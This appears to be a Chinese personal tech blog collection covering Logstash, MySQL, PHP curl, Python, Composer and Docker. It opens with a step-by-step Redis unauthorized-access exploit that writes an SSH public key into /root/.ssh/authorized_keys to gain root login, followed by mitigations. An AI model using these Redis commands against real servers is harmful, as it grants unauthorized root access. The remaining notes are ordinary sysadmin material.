利用Redis未授权访问配合SSHkey文件提权


一.漏洞概述

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

二.漏洞分析与利用

1.先创建秘钥文件

ssh-keygen –t rsa

2.利用空口令登录redis

redis-cli -h xxx.xxx.xxx.xxx

config set dir /root/.ssh
config get dir
config set dbfilename authorized_keys
set test "\n\n\nssh-rsa  key_pub\n\n\n\n"
save

其中key_pub为生成的公钥,即可将公钥保存在远端服务器,使得登录时不需要输入账号与密码.

3. 利用私钥登录root@xxx.xxx.xxx.xxx

ssh -i id_rsa root@xxx.xxx.xxx.xxx

三.漏洞修补方法

  1. 禁止使用 root 权限启动 redis 服务;
  2. 对 redis 访问启用密码认证,并且添加 IP 访问限制;
  3. 尽可能不对公网直接开放 SSH 服务。

四.参考


利用Logstash实时分析日志


Logstash是一个应用程序日志、事件的传输、处理、管理和搜索的平台。你可以用它来统一对应用程序日志进行收集管理,提供 Web 接口用于查询和统计。

一、安装

环境:Centos6

需要java运行环境:java -version

下载并安装公共签名密钥

rpm --import https://packages.elastic.co/GPG-KEY-elasticsearch

然后在/etc/yum.repos.d/目录添加一个以.repo后缀的文件,比如:logstash.repo

[logstash-2.3]
name=Logstash repository for 2.3.x packages
baseurl=https://packages.elastic.co/logstash/2.3/centos
gpgcheck=1
gpgkey=https://packages.elastic.co/GPG-KEY-elasticsearch
enabled=1

至此资源库添加完成,你可以使用yum安装logstash了

yum install logstash

安装完成后,可用以下命令测试是否安装成功

bin/logstash -e 'input { stdin { } } output { stdout {} }'

logstash的默认程序路径在:/opt/logstash/

logstash的默认配置文件路径在:/etc/logstash/conf.d/

二、配置

/etc/logstash/conf.d/新建一个以.conf后缀的文件,比如:nginx.conf

input {
    file {
        path => "/opt/log/pv.ifchange.com/pv.ifchange.com.access.log"
        type => "nginx-access"
    }
}
output {
    http {
        format => "form"
        http_method => "post"
        url => "http://logsystem.dev.ifchange.com/analysislog/clickLog"
        mapping => ["Body", '%{message}']
    }
    stdout {
        codec => "rubydebug"
    }
}

以上配置代表将文件/opt/log/pv.ifchange.com/pv.ifchange.com.access.log里的日志实时通过HTTP POST的方式提交给http://logsystem.dev.ifchange.com/analysislog/clickLog进行处理。为了方便调试,加了stdout参数,代表输出到屏幕。

三、启动

为了方便调试可手动启动:

/opt/logstash/bin/logstash agent -f /etc/logstash/conf.d/test.conf

也可直接使用服务启动:

service logstash start

停止服务:

service logstash stop

配置文件测试:

service logstash configtest

Mysql笔记


一、Mysql修改密码

知道原密码
mysqladmin -u用户名 -p原密码 password 新密码
不知道原密码

关闭数据库并以跳过授权表方式启动

mysqld_safe --skip-grant-tables &

启动之后进入数据库执行更新SQL

UPDATE mysql.user SET password=PASSWORD('新密码') WHERE User='root';

二、Mysql授权

1.远程授权
grant all on *.* to root@'%'identified by 'password';
2.查看授权
show grants form root@'10.1.10.%'
3.删除授权
revoke all on *.* from root@'%'; 
4.刷新授权
flush privileges; 
5.查看账号
select Db,Host from mysql.db; 
6.查看当前账号
select user();
7.根据条件删除账号
delete from mysql.db where Host="10.1.0.%";
delete from mysql.db where Db="dx7db_game01";

三、Mysql日志

1.查看binlog列表
show master logs;
2.按名称来删除binlog
purge master logs to 'mysql-bin.001970';
3.按时间来删除binlog
purge master logs before '2016-07-01 17:36:55';

PHP POST提交数据


1.封装curl方法:

function curl($url,$post_data){
        $curl = curl_init(); 
        curl_setopt($curl, CURLOPT_URL, $url); 
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
        curl_setopt($curl, CURLOPT_POST, 1);//post提交方式
        curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
        $data = curl_exec($curl);
        return $data;
}

2.使用方法:

$url = 'http://www.kaychen.cn/test';
$post_data = array(
        'timestamp'=>time(),
        'signature'=>$signature,
        'user_id'=>1,
);
$data = curl($url,$post_data);

Python的列表推导式


1.列表推导式书写形式

[表达式 for 变量 in 列表] 或者 [表达式 for 变量 in 列表 if 条件]

2.举例说明

#!/usr/bin/python
# -*- coding: utf-8 -*-

li = [1,2,3,4,5,6,7,8,9]
print [x**2 for x in li]
print [x**2 for x in li if x>5]
print dict([(x,x*10) for x in li])
print  [ (x, y) for x in range(10) if x % 2 if x > 3 for y in range(10) if y > 7 if y != 8 ]
vec=[2,4,6]
vec2=[4,3,-9]
sq = [vec[i]+vec2[i] for i in range(len(vec))]
print sq
print [x*y for x in [1,2,3] for y in  [1,2,3]]
testList = [1,2,3,4]
def mul2(x):
    return x*2
print [mul2(i) for i in testList]

3.结果

[1, 4, 9, 16, 25, 36, 49, 64, 81]

[36, 49, 64, 81]

{1: 10, 2: 20, 3: 30, 4: 40, 5: 50, 6: 60, 7: 70, 8: 80, 9: 90}

[(5, 9), (7, 9), (9, 9)]

[6, 7, -3]

[1, 2, 3, 2, 4, 6, 3, 6, 9]

[2, 4, 6, 8]


修改Ubuntu Terminal激活标签颜色


使用Ubuntu一直苦于Terminal当前标签颜色与其他标签颜色差距太小,根本区分不了自己在哪个标签下面,于是从网上找来修改Terminal激活标签颜色的方法。

1.打开gtk-widgets.css:

sudo vim /usr/share/themes/Ambiance/gtk-3.0/gtk-widgets.css 

2.找到.notebook tab:active样式:

.notebook tab:active {
    background-color: @bg_color; 
}

3.修改为你需要的显示的颜色:

.notebook tab:active {
    background-color: white;
}

4.重新打开Terminal即可

修改Ubuntu Terminal激活标签颜色


Composer笔记


1.安装

curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer

2.修改为中国镜像

1.系统全局配置:即将配置信息添加到 Composer 的全局配置文件 config.json 中。

composer config -g repo.packagist composer https://packagist.phpcomposer.com

2.单个项目配置: 将配置信息添加到某个项目的 composer.json 文件中。

composer config repo.packagist composer https://packagist.phpcomposer.com

上述命令将会在当前项目中的 composer.json 文件的末尾自动添加镜像的配置信息(你也可以自己手工添加):

"repositories": {
    "packagist": {
        "type": "composer",
        "url": "https://packagist.phpcomposer.com"
    }
}

Composer中文指南:phpcomposer.com


CentOS6上Docker的安装与使用


安装Docker

yum install epel-release
yum install docker-io
service docker start
chkconfig docker on

获取镜像

docker pull kaychen/centos6_lnmp

启动镜像

#进入交互模式
docker run -ti kaychen/centos6_lnmp
#后台运行模式并映射80端口到容器
docker run -d -p 80:80 kaychen/centos6_lnmp

停止镜像

#查看所有镜像状态
docker ps -a
#停止镜像
docker stop (CONTAINER_ID)
#启动镜像
docker start (CONTAINER_ID)
#重启镜像
docker restart (CONTAINER_ID)

提交镜像修改

docker commit (CONTAINER_ID) kaychen/centos6_lnmp

上传镜像

#登录dockerHub
docker login
#上传镜像
docker push kaychen/centos6_lnmp

导出/载入镜像

#导出镜像到本地
docker save -o centos6_lnmp.tar kaychen/centos6_lnmp:latest
#载入镜像
docker load < centos6_lnmp.tar

导出/导入容器

#导出容器
docker export 61229a6262a3 > export_centos6_lnmp.tar
#导入容器
cat export_centos6_lnmp.tar | sudo docker import - kaychen/testimport
#可以通过指定 URL 或者某个目录来导入
docker import http://example.com/exampleimage.tgz example/imagerepo

注:用户既可以使用 docker load 来导入镜像存储文件到本地镜像库,也可以使用 docker import 来导入一个容器快照到本地镜像库。这两者的区别在于容器快照文件将丢弃所有的历史记录和元数据信息(即仅保存容器当时的快照状态),而镜像存储文件将保存完整记录,体积也要大。此外,从容器快照文件导入时可以重新指定标签等元数据信息。

删除镜像

#一次性删除所有的容器
docker rm $(docker ps -q -a)
#一次性删除所有的镜像
docker rmi $(docker images -q)